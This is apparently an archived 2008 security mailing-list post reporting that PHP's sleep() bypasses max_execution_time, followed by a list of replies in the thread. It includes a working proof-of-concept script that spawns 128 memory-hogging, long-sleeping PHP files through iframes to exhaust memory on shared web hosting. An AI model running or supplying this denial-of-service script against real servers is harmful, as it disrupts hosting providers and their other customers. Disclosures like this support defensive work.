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function sleep() in all versions of PHP
From: gogulas () wp pl
Date: 24 May 2008 20:03:57 -0000
There is a quite big problem with sleep() function in php, The max_execution_time set to 60sec. in safe mode can be easy passed by using sleep() funcion, for example this script: <?php sleep(9999999); echo 'Hello World'; ?> Will print hello world after 9999999 seconds... so max_execution_time simply dosnt work :P Why? we can find in manual: "max_execution_time only affect the execution time of the script itself. Any time spent on activity that happens outside the execution of the script such as system calls using system(), stream operations, database queries, etc. is not included when determining the maximum time that the script has been running." including sleep() :P We can use this vuln to run out memory on web/php hosting: <?php if (!file_exists('./temp')) (@mkdir("/temp", 0777))? $temp='temp/': $temp=''; else $temp='temp/'; for($n=0;$n<128;$n++) { $rand = mt_rand(); $fp = fopen("$temp$rand.php", 'w+'); fwrite($fp, '<?php while(memory_get_usage()<16000000) $a.=\'X\'; sleep(999999999); ?>');// for 16mb memory limit fclose($fp); echo "<iframe src=\"$temp$rand.php\" name=$n width=\"10\" height=\"10\"></iframe>"; } ?>
Current thread:
- function sleep() in all versions of PHP gogulas (May 26)
- Re: function sleep() in all versions of PHP Mark Sanders (May 26)
- Re: function sleep() in all versions of PHP Juan Miguel - Prisma Virtual - (May 27)
- Re: function sleep() in all versions of PHP Charles Morris (May 27)
- Re: function sleep() in all versions of PHP Michael G. Reed (May 27)
- Re: function sleep() in all versions of PHP Glynn Clements (May 28)
- RE: function sleep() in all versions of PHP Michael Wojcik (May 28)
- <Possible follow-ups>
- Re: function sleep() in all versions of PHP cxib (May 27)
- Re: function sleep() in all versions of PHP Mark Sanders (May 26)